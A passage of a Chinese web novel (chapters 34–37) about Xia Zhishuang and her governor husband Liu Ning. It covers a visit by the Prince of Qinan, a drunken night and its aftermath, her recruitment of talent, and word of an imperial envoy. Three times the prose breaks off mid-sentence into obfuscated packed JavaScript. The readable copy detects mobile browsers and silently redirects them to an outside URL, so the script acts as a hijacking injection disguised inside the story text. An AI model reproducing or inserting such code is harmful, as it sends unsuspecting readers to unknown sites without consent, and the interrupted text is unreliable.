“人呐,在别人手底下讨饭吃一天,最好一刻都别跟衣食父母打擂,胳膊肘去拧大腿肉,不是自讨苦吃是什么。” 年轻的伙计茫然受教,似懂非懂。 瑜记商行的小插曲过去后,刘宁如期归来。 夏知霜想他了,一听傅杭说刘宁提前两个时辰抵达,现今已身在府中,她忙放下账本,直奔前院而去。 未到书房,中庭的花廊站着个长身玉立的人影,他身着蓝衣锦袍,背对着她的方向。 她快步绕过缠着绿藤的镂空花墙,兴高采烈:“夫君,你回来啦!” 那人闻声侧身,俊朗面容,却不是她盼念的那个人。 34. 第 34 章 微生湘循声望去,娇媚的笑颜不由分说闯入他的视野,那秋水双瞳盈盈流转,稍显萧瑟的深秋仿若盛开了灿烂的夏花。 他微微挑眉,嘴角噙着笑意。 夏知霜很快意识到认错了人,急急顿足,低眉敛笑,恢复端庄娴静的贵妇风范。 尴尬,窘迫,感觉空气都凝固了。 她恨不得找条地缝钻进去……不对,这可是她的家! 夏知霜竖起防备,正欲询问对方是何人,那人早一步拱手问候。 “想必这位便是嫂夫人,小王这厢有礼了。” 谦称“小王”,又能被刘府奉为上宾,自由行走于前院,那只能是隔壁的淇南王了。 平王跟那些拥兵自立的逆王不同,他是正儿八经的龙子凤孙,生来就比旁人血统高贵,身边聚集一群死忠拥趸。 夏知霜听过不少对方的传言,世人都谓他弑父杀弟,东征西讨,疾言厉色,她误以为对方是个极难相处、凛若霜雪的人。 眼前的青年却非若此,乍一眼是个目空一切、唯我独尊的桀骜男子,杀伐之气远没有想象中那么重,言语举止更是出乎意料的有礼有度。 简而言之,她想象中对方是个龙骧虎步的武夫,本尊则更偏向笑里刀藏的腹黑男,一看就是精于算计的主儿。 所思不过一瞬,夏知霜款款回礼:“平王客气了,妾身无意冲撞,请见谅妾身的唐突。” 微生湘淡笑:“小王与表兄身量相仿,儿时常有长辈难以分辨,嫂夫人隔墙错认不足为奇,要说唐突,也是小王突然上门叨扰之过。” 这一番话倒把什么都说圆了,她认错人的尴尬化被解得七七八八。 夏知霜听他称呼刘宁为“表兄”,才想起他的祖父和刘宁的祖母是亲兄妹,算起来,二人是有血缘关系的表兄弟。 既是夫家的正经亲戚,她态度一直冷淡也不好。 夏知霜环顾四周,奇怪地问:“王爷可是随季安回来的?季安人呢,府中下人怎么不引王爷去花厅用茶。” 说着,她想喊人去给贵客上茶。 微生湘拦住了:“是小王想自己散散,季安兄他……” 说曹操曹操到,一袭青影从书房方向走来。 夏知霜精神一振,礼貌地道了声“失陪”,微生湘淡笑颔首,示意她自便。 她匆匆快走几步,绕过另一面花墙迎上去。 “你回来啦!”她言语轻快,未语先笑,眉眼弯弯。 刘宁看到她眼睛一亮,高兴地握上她的手:“进门时我听说你在忙,想着晚些时候再寻你说话,没想到还是搅扰你了。” “左右是些名单和账本,何时看不得,倒是我,可能打扰了你会客。” “怎会?你能第一时间来看我,我开心还来不及。” 夫妻俩久别重逢,禁不住一番嘘寒问暖。 微生湘面无表情地透过墙面镂空的格子,远观那对眼里只看得见彼此的璧人,心神微动,不是滋味地偏头赏景。 临近十月,到处是红枫和秋菊,其实他在自家王府就已经看腻了。 刘宁牵她往前走,徐徐解释:“咱家来贵客了,我适才去取高淙送来的信件,不想与你错开了。” 他的书房外有重重守卫,只有夏知霜和傅杭能随意进出,他走前把傅杭支给她使唤,她又差傅杭去忙招揽贤才的事了,他不放心其他人,自己去取重要的文书。 夏知霜也跟他通通气,三言两语说了她跟客人寒暄过的事。 过了拐角就要直面客人了,夫妇二人默契松手。 “阿潮,让你久等了。” 刘宁大步向前,等微生湘回身看来,他侧头对夏知霜介绍。 “观东与淇南结为友邦,我和阿潮自幼相识,情同手足,不是外人。” 他年长微生湘两岁,打小就唤微生湘的乳名,长大成人后,为表亲近一直没有改口。 微生湘挑起嘴角,也亲切地说:“观淇九地不分彼此,小王与季安兄亦是如此。” 夏知霜配合地笑了笑,待他多亲热了几分,直接以字相称:“伯潮就当这里是自己家。” “那小王便不客气了,”微生湘环视偌大的院子,语气怀念,“记得我们儿时曾寄宿过对方家中,闹出了不是笑话。” 刘宁作追忆状:“可不是,你们几个总爱舞刀弄棒,日日厮打,还叫我在一旁吹曲助兴,整个院子乱得不成样子。后面被父亲他们发现,我平白跟着你们一起挨打。” 微生湘轻叹:“是啊,现在想来咱们几兄弟真是不像话……” 那时老总督和老平王尚在人世,两边互通有无,家眷频繁往来,小一辈聚在一块打打闹闹长起来的。 而今老一辈魂归九泉,小一辈寥寥几人存世,不胜唏嘘。 迥异的是,刘家的悲剧为外敌所致,平王府的悲剧由微生湘一手造就。 传闻老平王宠爱幼子,微生湘担心世子之位会被幼弟们夺走,干脆一不做二不休,把正值壮年的父亲和年轻貌美的继母,以及两个弟弟给杀害了。 如今旧事重提,两人反应截然不同,刘宁稍有怀念,微生湘虽作应和姿态,眼底却闪过一抹阴鸷。 一旁的夏知霜瞧得清楚,当即接话:“我去厨房叫人备下酒菜,待会家宴上,你们兄弟好好喝几觥。” 刘宁和微生湘笑着答应下来。 她叫来章氏去备膳,两个男人到堂屋去谈正事。 片刻后,傅杭带着种花妇人和种地老伯的背调回来了。 夏知霜接手并过目,根据他们的邻居、亲友和与其产生龃龉之人的证词,这两人确实没撒谎。 但他们是真有过人之处,还是运气使然,暂时没法查清。 她不懂农学,交代傅杭接他们及家眷住到广秀楼,让农学的巧匠去实验那二人在种植、培育方面上的技巧和经验,是否真的行得通。 傅杭跟她详议了些许细节,当即领命而去。 夏知霜翻了翻衙役刚交上来的“贤才”报名表,无奈地叹了口气。 她想到起步会不容易,没想到那么艰难,有种有钱也花不出去的憋屈感。 当初刘宁说,她以总督夫人的身份主事会更便捷,她以为他是借故求婚的措辞,没想到他说的是真心话。 虽然每天都有几十人来报名,奈何那些人不是自命不凡,就是抱着捡便宜的想法随便试一试,真有两把刷子的没几人。 以官府的名义尚且难求贤才,要是用富商的名义招揽,可想而知会冷清成什么样。 但愿收下廖老伯和单大婶为典型后,会有更多人意动——会种地、会养花就能吃上公家饭,你若有别的才能,还不快来投名单看看? 夏知霜定了定神,叫来另一个管事婆子尤氏:“此前叫你聘请的名厨谈妥了么?” 尤氏答:“妥了,厨子六人,带其家眷,外加帮佣另招的十人,总计二十九人,甭管红案还是白案,东南西北的什么菜系,准供应得过来。” “广秀楼这两日就有人入住,你尽快安排厨子们到楼里去。” “是,老奴这就去办。” 看着尤氏远去,她心里总算有了点低。 公家之职,包吃包住,吃住的待遇还那么好,那些人总没后顾之忧了吧? 夏知霜又叫人来询问广秀楼扩建的详情,不一会儿,彩玉来求见。 彩玉来有两件事,一是汇报航队顺利出发的消息,二是想培养几个心腹来传递消息,省得她忙碌时还要每日往返刘府和瑜记商行。 原本夏知霜给她在府中留了个客院,就在郭秀婉的隔壁,住下来就不用跑来跑去那么劳累,但彩玉拒绝了。 郭秀婉是刘氏家臣,早已被聘为傅杭之妻,她要调理主母身体才偶尔住在府中,且傅杭与她夫妻同住,不管怎么说,她歇在刘府合情合理。 彩玉认为自己一个独身的外人宿在府上,难免会被人传她是刘宁的侍妾,世人最爱嚼舌根,哪管你是真是假。 她不想被人说闲话,更不想败坏夏知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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从别地买食材回来是真,不过只占很少的一部分,大多食材仍是观东本地产出,她和刘宁都不喜好奢侈,今天宴客才食前方丈。 微生湘目光投向她,扯了扯嘴角:“原来是托了嫂子的福,嫂子慷慨割爱,小王今日可得细细品尝了。” 夏知霜读不懂他话中有没有别的深意,只陪着笑了两下,使眼色示意下人上前斟酒。 酒过三巡,两个男人开始从家常话转移到政事上。 她边吃边旁听,由此得知了微生湘的来意。 淇南也收到了睢国通航的消息,对高淙和中熙二地的复杂局势了如指掌,淇南和观东相邻,观东作何应对,与淇南往后的情势息息相关。 他此番来就是打探刘宁的对策,若双方观点一致,那就商量着如何共同御敌。 夏知霜听得认真,自斟自饮,不小心就把她喝的桂花蜜酒和他们喝的烈酒混淆了。 偏这种烈酒入口柔顺,带点微甜,她心不在焉,没第一时间尝出不对,几杯下肚觉得头晕目眩,才反应过来喝错酒了。 她对他们的话题很感兴趣,强撑着醉意支颐聆听,结果往时灵动的美眸慢慢积攒了蒙蒙水雾,眼神渐渐发直。 刘宁常给她夹菜,及时察觉到她的不对劲,关切而含蓄地问:“霜霜,怎么不吃了?若是嫌菜冷就叫人热一热。” 不等他说完,下人自发端走部分菜肴去加热。 “嗯?”夏知霜反应慢了半拍,轻声答,“嗯,你也吃。” 她慢吞吞的给他夹菜,顺手给微生湘也布了一筷,两个男人怔了怔。 彩玉偶尔会被她强留下来跟他们夫妻用饭,夏知霜高兴的时候,就喜欢给左边的丈夫和右边的彩玉夹菜。 微生湘盯着碗碟里多出来的菜,思绪飘飞,不知在想什么。 刘宁最了解她不过,心知妻子方才有一瞬间认错人了,平时她可不是那么迷糊的人。 他扫了眼二个挨在一起的酒壶,哪里还不明白原因,顿觉哭笑不得。 夏知霜到底还存有几分理性,不等他提醒,便在失态前悠悠起身告辞。 她走后,刘宁挂心她的情况,只多续了一柱香的席就散场了。 安排人带微生湘去客院休息,他披着月色快步回房。 他牵肠挂肚的爱妻还没歇息,就是……像换了个人。 35. 第 35 章 夏知霜独坐在桌前,惬意地支颐,乍看神情与平时无异。 她是初次醉酒,没有倒头就睡,更不似旁人胡乱发酒疯。 朦胧的烛火罩在她身上,愈添几分慵懒,乌亮的狐狸眼暗藏妖娆风情,滑腻雪肤仿若美玉,素色里衣难掩柳腰花态。 只一个寻常的抬眸,一个随性的动作,足是撩人心弦,勾魂摄魄的尤物。 一切美感在隔着重重纱幔见到刘宁时,顷刻消弭了。 夏知霜欣喜,欲起身迎接,谁料玉足失力,她柔柔地跌跤下去。 刘宁心一紧,箭步上去及时拥住佳人。 “霜霜!你怎么样了,有没有扭伤?” 怀中人安安静静。 刘宁细细检查一遍,确认她没有扭到脚踝才放心,垂眼便见她美眸水汪汪,弱声弱气、委委屈屈地嚷痛:“好疼哦~” 她卸下了所有伪装和防备,聪慧精明的美人儿变得娇憨可爱。 刘宁从未见过她这一面,感到新奇,嘴上应道:“我替你揉揉。” 他就这么抱着她坐回矮凳,用最小的力道,揉捏她脚踝上连红都没红的“伤处”。 夏知霜也不知为什么,越是有人哄,她就越发任性,泪珠从眼眶滑落,竟小声啜泣起来。 她絮絮叨叨抱怨这,埋怨那。 说得最多的,莫过于他总是公务为先,一点都不爱惜自个身子,明明有答应过她再忙碌也要吃好歇好,真正忙起来的时候他还是废寝忘食。 夏知霜枕着他结实的胸膛,仰头含泪控诉。 “你根本就没把我的话放心上,我分明是为了你而着想,你却视若罔闻,你是不是一点都不在乎我?是不是嫌我的话烦人呀?” 这话可戳到刘宁心窝子去了。 他搂紧可爱的小醉鬼,即使明天她可能会全都忘掉今夜之言,他仍然耐心回答她的话。 “没有,我一直听你的话,只是偶尔忙时候才顾不上吃,稍微闲下来就吃上了……” 那还不是没有按时吃饭嘛,夏知霜不满,嘤嘤掉眼泪。 他饮食很不规律,得了严重的胃病可怎么办呀,像是胃癌等绝症,想治都没法治,到时候悔之晚矣。 刘宁快被她哭得心碎了,又哄又发誓,再三保证往后按时用膳,好不容易才把人哄住。 他案牍劳形的事暂且糊弄过去了,夏知霜转头又哭另一件事。 她抱怨说,成婚以来他一直在忙,哪怕是婚假期间,他见属下的时间比见她的要多得多,别人新婚都有蜜月期,他们家刚成婚就分隔两地。 白天见不到,他晚上有时还要睡书房。 明明是住在一处,却还要饱受相思之苦,天底下有她这样的妻子? 刘宁被她说得愧疚万分,不管是不是自己的错,一开口就是先道歉,答应她今后不论忙到多晚都会回房歇息,并且承诺之后会好好陪陪她。 夏知霜清楚他身担重任,忙碌才是他的常态,她只是随口说两句,撒撒娇什么的,其实没有指责他的意思,更没有想过要得到他的保证。 眼下他无条件地哄着、顺着自己,她反而心疼他了。 他是观东四郡的总督,是千万人的父母官,本就不是她一人能独占的存在。 夏知霜眼眶又红了,可怜巴巴地缩在他怀内,迷糊低喃:“罢了,那些我都不计较了,下臣需要你,百姓更需要你……我只要你的心独属我就好。” 她可以容许公事夺走他的时间和精力,但不准他的心被第二个女人占据,一丝丝也不行。 刘宁被她委曲求全的小模样磨得心都要化了,轻吻她发顶:“真想把我的心剖给你看,只有你,没有别人。” 他伸手裹住白皙的柔荑,看着她的眼睛一字一句地说:“此生不负,至死不休。” 夏知霜动容抬眸,与他脉脉相顾。 两人的间隙缩短,再缩短,直至相依相偎,直至交颈缠绵。 烛火摇曳,纱幔随夜风飞舞。 红绡帐暖,夜短情长。 树上喜鹊成双,吱吱喳喳地唱着晨调。 烈阳的光线照进窗台,搁在梳妆镜前的首饰,反射出耀目的珠光宝气。 圆桌到屏风前散落一地的衣裳。 屏风后,夏知霜悠悠转醒,入目是搭在拔步床边沿的白皙玉臂,上面有斑驳的红痕,足见昨夜有多迷乱。 腰腹和肩胸各横着一条铁臂,后背紧贴男人温热的躯体。 夏知霜一下子惊醒了,昨晚的记忆渐渐浮现。 意识到自己酒后失态都干了什么后,她感觉天都要塌了,在心中无声尖叫。 依稀记得,到了床上她一面哭,一面非常主动。 刘宁很激动,偏又看不得她掉泪,声音暗哑地劝她别哭了。 她抽抽噎噎、理不直气也壮:“就不,我要哭。” 然后男人好像被打开了什么奇怪的开关,她就被人掐着腰肢弄得更狠了,毫无反抗之力…… 太丢人了呀! 哪里去找消除记忆的小药水?她定要给自己和他狠狠灌上几瓶,把昨夜喝醉后的记忆片段全部消除掉。 黑历史,昨天简直就是她的黑历史! 夏知霜欲哭无泪,她也不知道自己喝醉后会变得那么娇纵任性。 羞耻过后,进而就是庆幸。 她虽醉得不轻,到底存有几分理智,没有把心底最重要的秘密说漏出去。 给丛贞立碑那天起,她决定把穿越的事隐瞒到底,纵使是相依为命的丈夫,她也断断不会把自身不寻常的来历透露半分。 有些秘密就该烂在心中。 但现在有个秘密快要瞒不住了。 夏知霜挣了挣,没能脱离铁臂分毫。 刘宁向来浅眠,她一动,他便迷迷糊糊的把人搂紧。 不知他要继续补眠,还是乘势醒来,夏知霜大气不敢出。 禁锢于陈家的那两年过得太苦了,她的心灵和身体都留下了难以磨灭的烙印,碧云膏终究没能抹去瑕疵,她的背部依旧残留三道浅淡的疤痕。 这些日子同房时,她一贯小心翼翼,始终不敢把后背转给他看。 她也很清楚,同住一个屋檐下,疤痕不能隐藏多久,但即将被发现的时刻,她还是会感到紧张。 担心他会觉得扫兴,担心会被厌弃,好像所有勇气都流失了。 刘宁在强光中慢慢睁开双目,好似没发现到怀中人瞬间变得僵硬,他惺忪地道了声“早”,不经意般地俯身啄吻。 不偏不倚,正吻在疤痕处。 其实他早有察觉。 在新婚之夜蒙面时,在她每夜要求熄灯,且坚持和衣而眠时。 更早要追溯在靖隅城重逢那日,他无意中瞥见她衣袖下新旧交接的伤痕。 刘宁忍下对陈氏一干人等的愠怒,若无其事:“宿醉可有头疼?” 夏知霜没想到他问的是这个,仿佛那些丑陋的疤痕没什么大不了。 他不喜揭人伤疤,她不想提,他体贴的不过问,只当那些疤是她与生俱来,他一并接受。 她竖起的最后一道心墙在这个刹那间融化了。 夏知霜转身面向他,端量他好看的眉眼,吸了吸鼻子。 “季安,你是我下下签人生中的上上签。” “这话该我说,”刘宁把她碎发别到而后,眸光晶亮,“要不是有你扶助,我只怕活不到今时,此生能遇到你,定是我前世修来的福分。” 夏知霜把脸贴进他掌心,依赖地蹭了蹭。 他们能走到今天这步,离不开对方的支撑,现在夫妻一体,已然不分彼此。 浓情蜜意的话不必说太多,有些会让对方难堪的话也不用挑得太明。 他们默契的略过了有关疤痕的话题。 夏知霜替他整理衣袍时,有点歉疚:“我昨夜的无理取闹让你受累了吧?” “什么无理取闹,你那时分明可爱极了,我心甚喜。”刘宁愉悦轻笑,选了个绒花钗给她簪上,“你今后,可只许醉给我一人看。” 他尾音勾起,俨然是指她昨夜变得很主动的那部分。 夏知霜害臊极了,忍不住轻捶一下他的胸口出气。 日上三竿时,他们收拾妥当,吃了有史以来最晚的一餐朝食。 饭毕,夫妻分头行事。 刘宁和微生湘同进同出,有时在总督署,有时神秘外出,双方的幕僚和暗卫紧随其后。 夏知霜忙着招贤榜的事,听说许英慈大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“习惯,习惯。”两人拘谨地答。 她又问起他们家人住得适不适应,这里的伙食好不好之类的。 聊到家人的话题,廖老伯和单婶子放松了些,笑容满面地作答。 临近饭点,夏知霜懒得跑了,干脆邀他们二人一起去膳堂用膳。 广秀楼和聚贤庄现今没几个人,膳堂的名厨闲得打苍蝇,得知总督夫人要过来试膳,兴奋的摩拳擦掌,准备大显身手。 谁知夫人身边的侍婢过来传话,不必特意弄罕见珍馐,照今日排单上的菜式做即可。 大厨们使出浑身解数,力图尽善尽美。 夏知霜尝了尝,味道不错,跟府里做出来的风味不同。 要是刘宁也能尝尝就好了…… 夏知霜忽然灵机一动,叫后厨多打包几份,差人送到总督署去。 她说是想让刘宁品尝大厨们的手艺,实则担心刘宁只顾着公事,不按时吃饭饿出病来。 这么大张旗鼓的派人送过去,刘宁肯定不会把食盒晾到一边,胃口再不好,也看她面子地吃下一些。 果然,回来汇报的人说督宪大人当场就吃了。 夏知霜大喜,厚赏厨子和下人。 此后数日的饭点,但凡他不回来一起吃,她就变着法子叫人送饭食过去,借口层出不穷。 ——这个菊花鱼唯此季节当有,莫错过了。 ——这道老鸭酸汤很鲜美呢,你吃过吗?没吃过快尝尝。 ——料着今日这碟烤鸽子你会喜欢,特意叫厨子多做了些,你吃吃看。 刘宁不忍辜负她的好意,吃得干干净净。 微生湘近来和他一起议事,送来的膳食自然有他一份,他们自小一起长大,他很清楚刘宁有挑食的坏毛病,忙碌时更是直接省了那餐。 哪知他娶妻后像是变了个人,叫吃就吃,一点不带耽搁。 微生湘嘴上调侃:“跟着季安兄,小王的膀更阔,腰更圆了。” 私心里,他不敢承认自己有一丁点嫉妒了。 都是肉泥血沟里爬出来的活死人,凭什么! 凭什么对方比他活得更有人样。 36. 第 36 章 三日后,微生湘到底还是带着身上多长出来的几斤膘,收获颇丰地踏上回淇南的路。 送别阴晴不定的平王,夏知霜想起关于他的负面传闻,好奇地问:“他真的弑父杀弟了么?” 刘宁表情变得复杂,良久才道:“阿潮过得很苦,他这么做都是为了自保。” 算是变相承认微生湘真的手刃亲人了。 许是自身也经历过绝境,夏知霜倒不觉得他像世人说的那样可怖。 刘宁不想破坏好好的氛围,没有细说发小的经历,而是附耳跟她说:“接下来会稍许清闲,能好好陪你了。” 夏知霜怔然,反应过来他是在回应她上次醉酒,控诉他过于忙碌的话。 她不好意思地说:“那只是我醉时的胡言,你不用放在心上。” 刘宁知她害臊,只笑了笑,没再说更让她害羞的话,牵过她的手,同她漫步回府。 夏知霜挂心正事:“你和平王这些日,有谈出什么结果吗?” 刘宁道:“事态未明朗,一切未可知。” 谈来谈去也是为各自的利益互相拉扯,不过双方的共识是继续结盟。 他们策划了好几个方案,以便应对随时会席卷而来的天灾人祸,避免到时困于路途遥远来不及商议,友盟会作出相悖决策的窘境。 她抓住了重点,见四下无外人,犀利地问:“继续结盟意味着,你甘心屈居总督之位。” 刘宁蓦地顿足,侧头静视她,一副被人识破心事的惊奇表情。 夏知霜掀起羽翼般的睫扇,扬起下巴,得意浅笑:“你我朝夕相对,我岂能不知你胸中丘壑?” 他掌管着四个物产丰饶的大郡,名为总督,干的是土皇帝的差事,时日久了,怎会没有雄心壮志呢? 倘使没有睢王圈地成国,中止了高淙和中熙的交战,继而影响到观东的安稳,地久天长,他或许也会在适当的时机称王。 当然,跟高淙、中熙那些上赶着自立的反臣不同,他想要的不是自封,而是以实绩为基,运用舆论去推他登上王位。 群众信服而自发拥立的观东王,一是众望所归,二是他多番推却,怎能算是谋逆呢? 可惜世上没有“如果”,现今危机重重,不够时间让他去筹谋水到渠成的称王方式,局势令他早早作出二选一的决断。 刘宁轻叹:“观东战乱方休,两年内不宜再生战事了。” 若是仓促称王,有淇南反目成仇的风险,他不得不妥协,维持现状明哲保身。 时也,命也。 夏知霜出言宽慰:“天下之势,合久必分,分久必合,你我只不过早早站在正道这边。” 可以预见,等朝廷的内乱平定后,必然会逐个收拾那些自立为王的反贼。 再怎么说,周边割裂出来的小国,无不忌惮启朝的百万雄师。 观东坚定站启朝这边,不仅占着正统的名义,还能最大限度的保全百姓免受战火波及。 刘宁左右寻思是这么个理,索性也就不纠结了。 接下来的日子里,他当真闲下来了,夫妇二人这才开始度迟来的蜜月,每日有半天时间能黏在一块。 刘宁酷爱吟诗作赋,夏知霜没有这个才能,每当他赏景时来了兴致,忍不住念些高深华丽的诗作,她就听得云里雾里。 虽是不解其中深意,却不妨碍她欣赏斐然的文采。 她偶尔会觉得,以他的才华和性情,如果没有被世俗的枷锁束缚,会是个自由自在的文人,是个无拘无束的乐师,绝非行走在刀刃上的权臣。 夏知霜想更靠近他的心,亦是想增长自身学识,拾起晦涩难懂的四书五经。 然则这些书没有前世的教科书那么通俗易懂,加上日常杂事就够忙的,她总是没看几段就昏昏欲睡,最后是握着书本睡过去…… 刘宁不忍她那么辛苦,多次劝阻。 夏知霜偏不信邪,屡战屡败,屡败屡战。 她每攻克掉一页纸,就俏皮地问身旁的人:“夫子,我适才念对了吗?词意理解正确否?” “唔,中规中矩,有点悟性。”刘夫子睁眼说瞎话,旋即凑过去,偷香一口。 她又羞又恼,举书本轻轻打他一下,嗔道:“你别老妨碍我念书。” “劳逸结合才会事半功倍,”刘宁与她十指紧扣,拿上乐器,“走,咱们到园里玩去。” 刘府的花园很宽敞,一眼望不到边际,值有四时花卉,不乏罕见的品种。 观东位于南方,几乎不曾落雪,十一月出头的天,园里还开着不少艳丽的鲜花。 二人一站一坐,一萧一笛,奏出最动人的韵律。 比起死记硬背的读书,夏知霜更爱摆弄乐器。 她久违的感到踏实感,认清了自己却是不是读书的料子。 此后,她没再把时间浪费在读死书上,但凡有闲情,夫妻二人就到府中各处景致好的地方奏乐。 夏知霜只持笛,刘宁花样多点,根据当天想奏的曲子搭配不同的乐器。 他的曲风磅礴、大气、悠扬,闻者仿若置身风景如画的天地之间,巍峨连绵的群山,蜿蜒奔腾的江河,广袤壮美的沙漠……好似尽在眼前。 夏知霜的曲风完全不同。 刘宁说她的曲风有悲戚之音。 像是背井离乡的游子,沉疴难起的病患,壮志难酬的武士,若有似无的哀愁总是挥之不去。 夏知霜一无所觉,想到自己原本不属于这个时代,又饱受陈家磋磨,现在又困于宅院,曲子添上悲愁也是情有可原。 他们都没有改换曲风,保留了各自的特色,奏得多了,两种曲风竟融合到一起。 刘宁的曲子增加了活物生气,她的曲子则有了云霞山川。 他们又偏爱写景的乐谱,听着仿佛投身繁华的鱼米之乡,湖光山色有之,人间烟火亦有之,融合成一副秀丽的画卷。 合奏到韵律最深处,两人心有灵犀地对视,绵绵情意从翘起的唇角,蔓延到蓄满笑意的眼眸,心间丝丝甜蜜。 无须高深的技艺,亦非荡气回肠的谱子。 只因有人同享此皓月,此夜风,此佳辰,足矣。 安逸的日子过得飞快。 航队回港,轮船才靠岸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16580397|183263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,随队去往睢国考察的丁卯马不停蹄到刘府求见。 刘宁早就等着他的消息,一同接见。 寒暄过后,夏知霜赐座,立时问:“丁叔此行一路,可有什么蹊跷之处?” 丁卯道:“东家料事如神,咱们瑜记在睢国的商铺刚重开,一连三日来了几波人试探,话里话外都在打探观东的情势。” 刘宁放下茶碗,问他:“你如何作答?” 丁卯不敢抬头,侧身面向主座,恭敬地道:“小人不敢不答,也不敢乱答,只跟自称是启人的友商回说小人在市井听来的事迹。” 市井能打听到的事迹,便是平民百姓都知道的资讯。 包括一生忠义的老总督死于不肯谋逆,四郡如今改换总督,以及新总督娶妻的消息。 这些也是刘宁想跟朝廷传递的信息,他们刘家至今没有反心。 夏知霜再问:“那人可曾打探淇南的消息?” 丁卯点头:“淇南到底与观东相隔万水千山,小人不太常听人提起那边的事。” 观东和淇南虽为友邦,但风俗有异,除了两地通婚的人家,其余人都是关起门来过自己的小日子,至多闲暇时听听隔壁的八卦。 平王是个好战份子,常年不着家,给观东人贡献的唯一一个八卦,就是弑父杀弟夺权。 这是普通人所接触到的信息,丁卯如实向启使回答了。 然则,像他们这类常常走南闯北的商人,观淇九地踏了个遍,听到的、看到的自当比常人多。 商人深谙说话的艺术,既然对方不深问,他自然不会主动提,就算对方深问,他也会自己斟酌着该不该答。 譬如,他若把平王有个待字闺中的妹妹说出去,朝廷为了拉拢平王,极大可能给那位郡主定下人选,再想方设法把郡主接走收做人质。 如今观淇九地抱团取暖,观东人不会轻易做有损淇南利益的事。 刘宁不吝夸奖:“该说的说,不该说的没说,你做得很好。” 丁卯登上喜气盈面。 夏知霜对他的忠心和机敏也很满意,寻思该给他甜头了,对他说:“令郎可在里兴?” “回东家,小人全家已随商行一同迁移里兴,犬子日日在家中念书。” “你回去探探令郎口风,看他可有兴趣到聚贤庄办差。” “小人从命!” 丁卯大喜过望,他辛辛苦苦办差,可不就是为了给儿子谋个前程,今时如愿,他这辈子没那么高兴过。 他料着两位主子定有要话商谈,很有眼色地道:“聚贤庄乃群英豪杰汇聚之地,犬子能入东家的眼,是他三世修来的福气,小人这就告退,把这个好消息告知犬子。” 夏知霜点点头。 议事堂仅剩二人后,刘宁下了结论:“朝廷很快派人来了。” 启朝跟观东断联那么久,一经探知观东刘氏没谋反,先不论刘氏存没存反心,朝廷肯定会先急切的先跟这个表面上不愿同流合污的忠臣搭上线再说。 夏知霜亦有同感。 果然,瑜记的第二批航队回来时,带回了爆炸性的消息。 37. 第 37 章 丁卯悄悄派人提前回来知会一声,启朝使者跟随航队回程,启使全程宝贝着一个锦盒,不许任何人触碰,里头疑似装着圣旨。 彼时,夏知霜正在聚贤庄和丁原对账,听到消息后,她直奔总督署。 她极少到总督署来,一来准有要紧事,傅杭看到她时,边行礼边道:“属下马上通知主君,夫人可到厢房歇……” 夏知霜打断他:“不必了,即刻带我去找夫君。” 傅杭猜到她定是有刻不容缓的急事,正了正脸色,火速引她到偏厅。 刘宁正在偏厅和幕僚议事,高淙近来蠢蠢欲动,大有和睢国结盟的架势,更有一同吞并中熙的野心。 若如此,他们观东不能眼睁睁地看高淙和睢国结盟,得想办法遏制高淙壮大。 虽说上次微生湘来时,观东和淇南议定了许多条盟约,但局势频频变动,他们不得不多想出几套预案。 幕僚之一吕麟提议:“我四郡论幅员、兵力和财力,比之高淙有过之无不及,还与睢国行商往来,观东与睢国的渊源,比高淙跟睢国的更深,何不先与之加深交好?” 另一幕僚张廷提醒道:“暂且不论睢国对观东如何作想,淇南那边的意愿不可忽视啊。” 淇南最不愿观东与别家结盟,观东若与别家结盟,观淇九地可能会分崩离析。而观东不与睢国结盟,把高淙推向睢国,那便是养虎为患。 近有虑,远有忧,观东的局势不容乐观。 刘宁摩挲着茶杯,看向鲁元:“军师有何见解?” 鲁元捻了捻胡须,正欲发言,就见夏知霜风风火火登堂了。 刘宁也看到了,讶然迎上去,眉心紧蹙:“出了何事?” 夏知霜道:“原不该打搅各位议事,只不过事发突然……” 她简明扼要说明原委,整个偏厅鸦雀无声。 刘宁揣度这圣旨中的内容,眉头一直打结,难得的显露出几分紧张。 一旦启使抵达里兴,观东四郡就不再由总督署说了算,他这个总督都要听朝廷的调令。 正常来说,刘氏一族为朝廷死守观东,且是在动荡不安的局势中,朝廷理该嘉奖刘氏一族,稳住观淇九地才是。 然而当今的祎坤帝昏庸无道,喜爱听信谗言,被无辜赐死的忠臣良将不知凡几。 偏偏刘氏并不“无辜”。 观东跟朝廷断联的这几十年,为了维持四郡的正常运转,也为了在乱世中自保,刘氏被迫代行了很多超越总督权限的事。 光是一个私自屯兵和调兵,就够刘氏掉几回脑袋的。 若皇帝想杀鸡儆猴,执意要追究刘氏的僭越罪行,那最好的结果是罢免刘宁,安插另一个傀儡坐上总督之位,最坏的结果是下令刘氏自灭,从底下的人挑一个提拔上来,以示天威和天恩。 所谓“君要臣死臣不得不死”,真到那个地步,刘宁若想保全刘氏一族的清誉,别无选择,唯自裁谢罪。 以刘氏一族在观东中的声望,皇帝清算刘氏之后,观东要乱了。 关于这些问题,其实早在海运解禁,瑜记的第一批航队出发后,他们幕僚就探讨过对策了。 但事到临头,难免会有所顾虑,是依照计划行事,还是随机应变,两种决策截然不同。 当下所有人看向刘宁,等待他下达指令。 刘宁不是坐以待毙之人,他只沉吟数息,转头对傅杭说:“尽快封锁消息,不可将此事透露出去半句。” 观东有很多别地的奸细,如今旨意不明,必须封锁启使到访的消息。 他再招呼杜川进来:“速去暗中护佑来使,务必保其周全。” 